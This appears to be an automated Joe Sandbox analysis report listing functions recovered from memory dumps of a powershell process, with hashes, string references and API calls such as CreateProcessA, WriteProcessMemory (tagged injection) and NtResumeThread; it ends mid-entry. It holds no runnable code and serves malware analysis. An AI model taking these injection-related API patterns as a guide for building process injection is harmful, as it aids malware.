Instruction ID: 9c4e4ef67aa11fcd075d611d05a0443502fe76a9c20f5f2020ce9663933036cb
Opcode Fuzzy Hash: de1d9a355a364c9f5469eefc2fc799b5b203345804be818347a1af91952372dc
Instruction Fuzzy Hash: 8E225EB4A00215CFDB14CFA4C994BAEB7B6FF88305F1581A9D609AB3A5DB749C81CF50

Function 079F0006 Relevance: 3.0, Strings: 2, Instructions: 471
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tegr, xrefs: 079F040D
E3{, xrefs: 079F01D7

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: Tegr$E3{
API String ID: 0-2799408395
Opcode ID: d64d3e1ce3bf39602906eac488c7c79d916405de5cac68fd12afb68c28033b1d
Instruction ID: a7d8551005e1830645eac483c6b67bcaa229e904554b0d0a3c8d4fed5984eacd
Opcode Fuzzy Hash: d64d3e1ce3bf39602906eac488c7c79d916405de5cac68fd12afb68c28033b1d
Instruction Fuzzy Hash: 5C2234B0E01218CFEB64CF69D844B9EBBB6FB89304F1081AAD509A7395DBB45D85CF50

Function 079F0040 Relevance: 3.0, Strings: 2, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Tegr, xrefs: 079F040D
E3{, xrefs: 079F01D7

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: Tegr$E3{
API String ID: 0-2799408395
Opcode ID: 589cc1fd81bc2989175a02d523614a864c88b004a214760af3da31c7937e754b
Instruction ID: ca016b7048bd4c246d6fd2933c26f3e6dca0bbdb9378a917faf1ce97891d4d90
Opcode Fuzzy Hash: 589cc1fd81bc2989175a02d523614a864c88b004a214760af3da31c7937e754b
Instruction Fuzzy Hash: 4B2214B0E15218CFEB64CF69C844BAEBBB6FB89308F1081A9D509A7355DBB45D85CF40

Function 07A30DB8 Relevance: 1.6, APIs: 1, Instructions: 60nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 07A30E2E

Memory Dump Source

Source File: 00000005.00000002.7042136031.0000000007A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a30000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8478d78f6cac161b705e6cc79ed899f463f3cc400ffd0f4bfa01b5eb76b38665
Instruction ID: 02ecb5b213d50230759992fd4df4bad1b047dd8e79005ed01657fb9568e0ed89
Opcode Fuzzy Hash: 8478d78f6cac161b705e6cc79ed899f463f3cc400ffd0f4bfa01b5eb76b38665
Instruction Fuzzy Hash: 572127B1E003488FDB10DFAAD4857EEFBF4EB88220F54852AD459A7240C778A9458FA4

Function 07A30DC0 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 07A30E2E

Memory Dump Source

Source File: 00000005.00000002.7042136031.0000000007A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a30000_powershell.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 35fe7b1b981f01210c94613ea44b12262deb71baddd92bb6516f533b6280ea4c
Instruction ID: 5ce43f5cd2dccde0c30c089cf9c35608b373b7f92611ea091e09934b5c548155
Opcode Fuzzy Hash: 35fe7b1b981f01210c94613ea44b12262deb71baddd92bb6516f533b6280ea4c
Instruction Fuzzy Hash: 5211D6B1D003498FDB10DFAAC4857EFFBF5EB88224F54842AD459A7240C778A9458FA5

Function 079DB0C0 Relevance: 1.5, Strings: 1, Instructions: 298COMMON

Download Yara Rule

Strings

PHgr, xrefs: 079DB405

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID: PHgr
API String ID: 0-7856566
Opcode ID: 26c6996bbd548a4b6b0fca814efbd441cba5f390ec2a1c704700cfdcdb2d35ec
Instruction ID: 9c80f7806d89c8166c1583847ccf764d2586b32ac7822185588df6a55a3586a7
Opcode Fuzzy Hash: 26c6996bbd548a4b6b0fca814efbd441cba5f390ec2a1c704700cfdcdb2d35ec
Instruction Fuzzy Hash: C0D109F4D15218CFEB24CFA9D884B9EBBB6BB49308F5180A9D409A7354DBB05D85CF41

Function 07977410 Relevance: 1.5, Strings: 1, Instructions: 254COMMON

Download Yara Rule

Strings

Tegr, xrefs: 0797751E

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID: Tegr
API String ID: 0-3212878674
Opcode ID: 2baf509fe54fe5da6aad4539ccdd478138116e0ad8dd96ca1e032b48c10dcb94
Instruction ID: fbc6a2566468880abd2d6a37a29038a5ef434e3862aaaad613ea60cbfbff0237
Opcode Fuzzy Hash: 2baf509fe54fe5da6aad4539ccdd478138116e0ad8dd96ca1e032b48c10dcb94
Instruction Fuzzy Hash: 28B1F5B0E15218DFDB24CFA9D984B9DBBF2BF89308F5084A9E009A7365DB745985CF00

Function 07977402 Relevance: 1.5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

Strings

Tegr, xrefs: 0797751E

Memory Dump Source

Source File: 00000005.00000002.7040934772.0000000007970000.00000040.00000800.00020000.00000000.sdmp, Offset: 07970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7970000_powershell.jbxd

Similarity

API ID:
String ID: Tegr
API String ID: 0-3212878674
Opcode ID: 641e27e6be47bdbef9266011874193f272b79632d2fee8918d8614348b33b7cf
Instruction ID: 15394230f9ee4aee06165f4a2e682a04472673994022802718ef55ba175b8aaf
Opcode Fuzzy Hash: 641e27e6be47bdbef9266011874193f272b79632d2fee8918d8614348b33b7cf
Instruction Fuzzy Hash: 0AB1F6B0E01219DFDB14CFA9D984B9DBBF2FF89308F5084A9E009A7265DB745985CF00

Function 079D8C58 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a585f4cd2b2ebdf714dd27d094ce0dab1847da1a31992037ef4ebf9c2e25ce16
Instruction ID: 2a6a5a51cd24b3caf178c9e61a549c6dc4aeafb3d2298466b19fbaa0fa90d823
Opcode Fuzzy Hash: a585f4cd2b2ebdf714dd27d094ce0dab1847da1a31992037ef4ebf9c2e25ce16
Instruction Fuzzy Hash: 44A136B4E15218CFDB14DFA9D444BAEBBF6FB89309F5080A9E409A7295DBB45C85CF00

Function 079D8C49 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f6e343cb5d5084533284b33468a4eb120737fff8528d98aa5a8b93a64447b46
Instruction ID: 21d920c6b15936a523ebc0277832269cc2108ec45b1f9a3f757807ab83808521
Opcode Fuzzy Hash: 8f6e343cb5d5084533284b33468a4eb120737fff8528d98aa5a8b93a64447b46
Instruction Fuzzy Hash: 3BA137B4E10218CFDB14CFA9D484BAEBBF2FB89309F5080A9E409A7295DB745C85CF40

Function 079D8F3D Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd876345e45a6df942e969c94b89aa0545f429649d2097adc88fd87db4fea2a1
Instruction ID: 8bf907243f866065067a2bcae38b29b9c22ea4c41ec714ab2f0e023f3cbb8173
Opcode Fuzzy Hash: cd876345e45a6df942e969c94b89aa0545f429649d2097adc88fd87db4fea2a1
Instruction Fuzzy Hash: 309126B4E15208CFDB54DFA9D485BAEBBF2FB89309F5081A9E409A7295DB745C81CF00

Function 076D59C8 Relevance: 28.9, Strings: 22, Instructions: 1428COMMON

Download Yara Rule

Strings

$gr, xrefs: 076D6906
4'gr, xrefs: 076D5ECA
$gr, xrefs: 076D694B
4'gr, xrefs: 076D5ED6
$gr, xrefs: 076D656F
4'gr, xrefs: 076D674D
$gr, xrefs: 076D68CC
$gr, xrefs: 076D657B
4'gr, xrefs: 076D6592
4'gr, xrefs: 076D659E
4'gr, xrefs: 076D63DB
$gr, xrefs: 076D6553
4'gr, xrefs: 076D6759
$gr, xrefs: 076D68AB
4'gr, xrefs: 076D697F
$gr, xrefs: 076D68F6
$gr, xrefs: 076D6372
$gr, xrefs: 076D6957
4'gr, xrefs: 076D63CF
$gr, xrefs: 076D634D
$gr, xrefs: 076D6380
4'gr, xrefs: 076D6973

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$4'gr$4'gr$4'gr$4'gr$4'gr$4'gr$4'gr$4'gr$4'gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr
API String ID: 0-3999458685
Opcode ID: 8140ce88b0f994467a37b86e489c144160cff1ca07a190feb4a52426b19fbbf0
Instruction ID: 2e73f894027c5e3d3bdec61e39de5f97bdbbf0f9d139a6ccea63c4f8f834ed61
Opcode Fuzzy Hash: 8140ce88b0f994467a37b86e489c144160cff1ca07a190feb4a52426b19fbbf0
Instruction Fuzzy Hash: E5B2DFB0F203069FDB24CF68C554BAABBB2AF85250F24C46AD4178B356DB71DC46CB91

Function 076D1968 Relevance: 14.1, Strings: 11, Instructions: 351
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$gr, xrefs: 076D1D24
4'gr, xrefs: 076D1BF2
$gr, xrefs: 076D1A37
$gr, xrefs: 076D1CDA
$gr, xrefs: 076D1A2B
$gr, xrefs: 076D19DB
4'gr, xrefs: 076D1A5E
$gr, xrefs: 076D1D30
4'gr, xrefs: 076D1A52
4'gr, xrefs: 076D1BE6
$gr, xrefs: 076D1CF6

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$4'gr$4'gr$4'gr$$gr$$gr$$gr$$gr$$gr$$gr$$gr
API String ID: 0-1813055350
Opcode ID: f8ecc847160f31c6571900d63f2bbd1a0689c7cf1dbeb8f0b088de70afc19e95
Instruction ID: 37d00826a03685c363242b20b68bb485be87b5132505ae9766ad64695bdfa047
Opcode Fuzzy Hash: f8ecc847160f31c6571900d63f2bbd1a0689c7cf1dbeb8f0b088de70afc19e95
Instruction Fuzzy Hash: 12B16EB5F2434A8FDB298A7985107AAB7E69FC7210F19847BC407CB355DAB1CC46C351

Function 076D1160 Relevance: 11.7, Strings: 9, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$gr, xrefs: 076D11EE
$gr, xrefs: 076D1215
4'gr, xrefs: 076D1292
4'gr, xrefs: 076D157C
4'gr, xrefs: 076D1286
4'gr, xrefs: 076D1606
$gr, xrefs: 076D1225
4'gr, xrefs: 076D1588
4'gr, xrefs: 076D15FA

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$4'gr$4'gr$4'gr$4'gr$4'gr$$gr$$gr$$gr
API String ID: 0-3084839368
Opcode ID: 2b1e2630334ce8d558f044719ff126f74f4dfb6b3e189c910c62c0e889b871ae
Instruction ID: 74b5573bc0bed99dfb34ff7e6c6eebc0ff7faed3c4414ecd0a6a24b318862420
Opcode Fuzzy Hash: 2b1e2630334ce8d558f044719ff126f74f4dfb6b3e189c910c62c0e889b871ae
Instruction Fuzzy Hash: 8202F6B0F103099FDB19CF65C554BAEB7A2EF86310F65806AD402AB355DBB2DC42CB91

Function 076DDC78 Relevance: 8.5, Strings: 6, Instructions: 994COMMON

Download Yara Rule

Strings

4'gr, xrefs: 076DE869
4'gr, xrefs: 076DE87F
4'gr, xrefs: 076DE7C5
tPgr, xrefs: 076DE0FA
4'gr, xrefs: 076DE7DB
tPgr, xrefs: 076DE0EE

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$4'gr$4'gr$4'gr$tPgr$tPgr
API String ID: 0-524699479
Opcode ID: e641f93b35cef54c4bbfa4c3696a87cf91f2389ca940be3c0a314afb118e1209
Instruction ID: 445050e9762e1b721df51df87f5712e0de5eb5cd53a279ae378133190754fac6
Opcode Fuzzy Hash: e641f93b35cef54c4bbfa4c3696a87cf91f2389ca940be3c0a314afb118e1209
Instruction Fuzzy Hash: 2B82A0B4F103059FDB54DB68C950BAEB7A2EF85300F5484AAD40AAF355DB31DD82CB91

Function 076D3498 Relevance: 3.9, Strings: 3, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$gr, xrefs: 076D34D9
$gr, xrefs: 076D34CB
$gr, xrefs: 076D34AA

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: $gr$$gr$$gr
API String ID: 0-2533544247
Opcode ID: 80eba14ce49503188bbde826ae61e5c287eee75cb34379e8299ab51cf9e79c6e
Instruction ID: 65634110ffae3962c8bc1dac5431bc33984fff5e4ac414ec910deba36650e2a6
Opcode Fuzzy Hash: 80eba14ce49503188bbde826ae61e5c287eee75cb34379e8299ab51cf9e79c6e
Instruction Fuzzy Hash: 6C312B71B14342CFD725DA7AE81066ABFA2EFC2210F24846FD446CB395DA32DC06C792

Function 076D1145 Relevance: 3.9, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$gr, xrefs: 076D11EE
$gr, xrefs: 076D1215
4'gr, xrefs: 076D1286

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$$gr$$gr
API String ID: 0-773645199
Opcode ID: bb8489abbe43a811d1d55c1f4ca0e5f9f3e14e94e170a0d0ad869fbf653d08bb
Instruction ID: cc2b9abc6d59821322890a5fa1dfb4f4ef4c2ecc5312ad94cfab96f53b0d79c5
Opcode Fuzzy Hash: bb8489abbe43a811d1d55c1f4ca0e5f9f3e14e94e170a0d0ad869fbf653d08bb
Instruction Fuzzy Hash: 5E31E6F0E2430DCFDB298E75D9007BA77A1EB43250F168166D816C6241E3B6CDC2CB51

Function 08643851 Relevance: 2.7, Strings: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHgr, xrefs: 08643C49
`Qgr, xrefs: 0864390D

Memory Dump Source

Source File: 00000005.00000002.7044731609.0000000008640000.00000040.00000800.00020000.00000000.sdmp, Offset: 08640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_8640000_powershell.jbxd

Similarity

API ID:
String ID: PHgr$`Qgr
API String ID: 0-2423686417
Opcode ID: 2afb0ea88259383301ac8a55d3e0a14c0de641d5da5ad82025a78d9631e9685c
Instruction ID: 4c8f399df2889195f56829024e75ba5cd725c407fee3eb8460f3919115889f0b
Opcode Fuzzy Hash: 2afb0ea88259383301ac8a55d3e0a14c0de641d5da5ad82025a78d9631e9685c
Instruction Fuzzy Hash: 2EC1E474D49228CFDB649F25DA48B9DB7B1FF49301F01A6EAC44DA2344CB782AC68F45

Function 079F5E08 Relevance: 2.7, Strings: 2, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(kr, xrefs: 079F5F2E
Hkr, xrefs: 079F5FBD

Memory Dump Source

Source File: 00000005.00000002.7041704593.00000000079F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79f0000_powershell.jbxd

Similarity

API ID:
String ID: (kr$Hkr
API String ID: 0-2581075368
Opcode ID: b8564b34ca30f39859c5d556c09e780a366926c1509434ecba0b4aae0ab18e26
Instruction ID: bf67662b2f1df79c119cbbd401a3d383b4bc09f6354fd390d911539230528d7a
Opcode Fuzzy Hash: b8564b34ca30f39859c5d556c09e780a366926c1509434ecba0b4aae0ab18e26
Instruction Fuzzy Hash: C861EFB07003019FD71AAF38C950A6E77B3AF86201B2145AED502CB3A5CE39DC06CBA1

Function 07036B20 Relevance: 2.7, Strings: 2, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(ogr, xrefs: 07036C01
(ogr, xrefs: 07036C11

Memory Dump Source

Source File: 00000005.00000002.7033994845.0000000007030000.00000040.00000800.00020000.00000000.sdmp, Offset: 07030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7030000_powershell.jbxd

Similarity

API ID:
String ID: (ogr$(ogr
API String ID: 0-1491810267
Opcode ID: f2fa8d5c4e22afb33a5b277415a2693e5105d2078aa78fee641d5f56bbac28a6
Instruction ID: 3218ab9397bf7dd5d8e2269adc5a83dbf51bd63a8070ca503e58abfaafc05119
Opcode Fuzzy Hash: f2fa8d5c4e22afb33a5b277415a2693e5105d2078aa78fee641d5f56bbac28a6
Instruction Fuzzy Hash: 1E513670714349EFCB658F64C814BBA7BB5EF86300F1485ABE429CB291CB72C844CB61

Function 076D3140 Relevance: 2.6, Strings: 2, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

tPgr, xrefs: 076D31D2
tPgr, xrefs: 076D31C6

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: tPgr$tPgr
API String ID: 0-1049417439
Opcode ID: 0c0c74141e9a5f96947b6485a94d997cd1f55420f46c8a062e5c75f48e0d252d
Instruction ID: 457e62b68a5258f446d5ff431bf49e419d6a06be8698c0f492a4e492169bfb9d
Opcode Fuzzy Hash: 0c0c74141e9a5f96947b6485a94d997cd1f55420f46c8a062e5c75f48e0d252d
Instruction Fuzzy Hash: 70316BB0F15342DFCB518B699D1075ABBA2AF86310F18845BD885DF396D6319C01C7A3

Function 070366EB Relevance: 2.6, Strings: 2, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'gr, xrefs: 07036781
4'gr, xrefs: 0703678D

Memory Dump Source

Source File: 00000005.00000002.7033994845.0000000007030000.00000040.00000800.00020000.00000000.sdmp, Offset: 07030000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7030000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr$4'gr
API String ID: 0-2351000505
Opcode ID: 0b630f102cb443b517289064ea068f3a8184041514a5bf8b75ed5a85637e2519
Instruction ID: 415e967b3462abf352dba9fe7cc68521accb0ef5325bfbc201757e631a499a20
Opcode Fuzzy Hash: 0b630f102cb443b517289064ea068f3a8184041514a5bf8b75ed5a85637e2519
Instruction Fuzzy Hash: FE3199B5700201AFCB55CB38D5246BABBE6AFC2211F6482BBD4428B390DF33C842C351

Function 076D347B Relevance: 2.6, Strings: 2, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$gr, xrefs: 076D34CB
$gr, xrefs: 076D34AA

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: $gr$$gr
API String ID: 0-2393243347
Opcode ID: e3593354f6daf00f4701a3597e728398121bdc03939cbc0fc2bed2ebc1079efe
Instruction ID: 898eb77e8c26cc436e2cea37a4ce8df92dd0c03f364f0fc750871f8ff009ef72
Opcode Fuzzy Hash: e3593354f6daf00f4701a3597e728398121bdc03939cbc0fc2bed2ebc1079efe
Instruction Fuzzy Hash: 032108B5E28382CFD726CF26DD44566BF72AF81110B1880ABD406CB392D63ACD09C752

Function 076D5F85 Relevance: 1.7, Strings: 1, Instructions: 475COMMON

Download Yara Rule

Strings

4'gr, xrefs: 076D5ECA

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr
API String ID: 0-4156034559
Opcode ID: 1cbdd8935ebc7d8832d2d34ba4b9ead2a05920784df86605a2b9c84889627702
Instruction ID: 932b2d7b570203fc351e55adb1621776d4ceba85fa17e3c265016169a70cce76
Opcode Fuzzy Hash: 1cbdd8935ebc7d8832d2d34ba4b9ead2a05920784df86605a2b9c84889627702
Instruction Fuzzy Hash: B51249B4E10215DFDB14CF68C980E69BBB2EF89314F55C06AE81A9B356C771EC46CB81

Function 076D59A9 Relevance: 1.7, Strings: 1, Instructions: 464COMMON

Download Yara Rule

Strings

4'gr, xrefs: 076D5ECA

Memory Dump Source

Source File: 00000005.00000002.7038546098.00000000076D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 076D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_76d0000_powershell.jbxd

Similarity

API ID:
String ID: 4'gr
API String ID: 0-4156034559
Opcode ID: 9bb70c859fb9e580e60653b1a3427bd6a14ff366461a00674ac974b34e05aa99
Instruction ID: 213122e2aaac290f46ad3f52d83fea08d3f8f185f76ffd06942c75ad95423a87
Opcode Fuzzy Hash: 9bb70c859fb9e580e60653b1a3427bd6a14ff366461a00674ac974b34e05aa99
Instruction Fuzzy Hash: D8125BB4E10215DFDB24CF68C980E69BBB2EF89314F15C06AE81A9B756C731EC46CB41

Function 07A1F654 Relevance: 1.7, APIs: 1, Instructions: 208processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 07A1F83A

Memory Dump Source

Source File: 00000005.00000002.7041936015.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a10000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: bd81bf9c5178fdf3cdf308fd2547cd87588c9c76c6e14688240d6d898a15ab1a
Instruction ID: 5fb20ddb8b25e3849793e0fe1686de8065274d1d558ec79ada02bf6cfbb3879b
Opcode Fuzzy Hash: bd81bf9c5178fdf3cdf308fd2547cd87588c9c76c6e14688240d6d898a15ab1a
Instruction Fuzzy Hash: A68126B1D016599FEB10CFA9C9857EEBBF2FF88310F14852AE825A7254D7749881CF81

Function 07A1F660 Relevance: 1.7, APIs: 1, Instructions: 201processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 07A1F83A

Memory Dump Source

Source File: 00000005.00000002.7041936015.0000000007A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7a10000_powershell.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: c20d58e5d9caecf689f2088f4c984d0e413e4dea752d7e1918779db488fd94f3
Instruction ID: d7c8afa4e92b2151b6626460116ac0f321156a89b8928899463007cfc7662976
Opcode Fuzzy Hash: c20d58e5d9caecf689f2088f4c984d0e413e4dea752d7e1918779db488fd94f3
Instruction Fuzzy Hash: 708126B1D016999FEB10CFA9C9817EEBBF1BF88310F14852AE865E7254D7749881CF81

Function 079DEDF4 Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 079DEEE7

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: dcfc79175039b711e9b518aad99a6581b74ed5cdf9f2f141db7c3498e98e08b5
Instruction ID: a26038eb61d64dd74038655fc95003716c92ce2e5616f8cc8a04ad3c51bc64de
Opcode Fuzzy Hash: dcfc79175039b711e9b518aad99a6581b74ed5cdf9f2f141db7c3498e98e08b5
Instruction Fuzzy Hash: 374162B1D102499FDF10CFA9D8817EEBFB5EF48314F14842AE819AB254CB749881CBA1

Function 079DE9FD Relevance: 1.6, APIs: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 079DEAF1

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6decf88626155ff3bd1b93ccc92cf717ba87701675c92250efce828946f232cc
Instruction ID: 02d23cb8396f76a0dba05867d79dfd11c0a236b180510e48a6ab4588a90c8046
Opcode Fuzzy Hash: 6decf88626155ff3bd1b93ccc92cf717ba87701675c92250efce828946f232cc
Instruction Fuzzy Hash: 074155B1D0024A9FDF10CFA9C8817EEBFB1FF48314F14852AE815AB244DB7898418F81

Function 079DEA08 Relevance: 1.6, APIs: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,?,?,?,?,?,?), ref: 079DEAF1

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 6faa86211591327a18328824915034094d9767ca9f70447970329b2679592e00
Instruction ID: 8326211d795010b08c4c81f8659e5296fe5cfecac93031a24a059f486664961f
Opcode Fuzzy Hash: 6faa86211591327a18328824915034094d9767ca9f70447970329b2679592e00
Instruction Fuzzy Hash: BB4134B1D0025A9FDF10CFA9C8857DEBFB5FF48314F14852AE815AB254DB7898418F81

Function 079DEE00 Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

CreateFileMappingA.KERNEL32(?,?,?,?,?,?), ref: 079DEEE7

Memory Dump Source

Source File: 00000005.00000002.7041468415.00000000079D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 079D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_79d0000_powershell.jbxd

Similarity

API ID: CreateFileMapping
String ID:
API String ID: 524692379-0
Opcode ID: ae56dc9254f1040a9480ff5a2052b92df92e35efd3bf545e59c108e5f5282d42
Instruction ID: ed1191539f46c37a6f178be63799bfc48b1b4582b776362d0e654544c2452e13
Opcode Fuzzy Hash: ae56dc9254f1040a9480ff5a2052b92df92e35efd3bf545e59c108e5f5282d42
Instruction Fuzzy Hash: 744162B1D103099FDB10CFA9D8857EEBFF5EF48314F14842AE819AB254DB749881CB91

Function 07A30749 Relevance: 1.6, APIs: 1, Instructions: 74injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNEL32(?,?,00000000,?,?), ref: 07A307E0

Memory Dump Source

Source File: 00000005.00000002.7042136031.0000000007A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A30000, based on PE: false

Joe Sandbox IDA Plugin

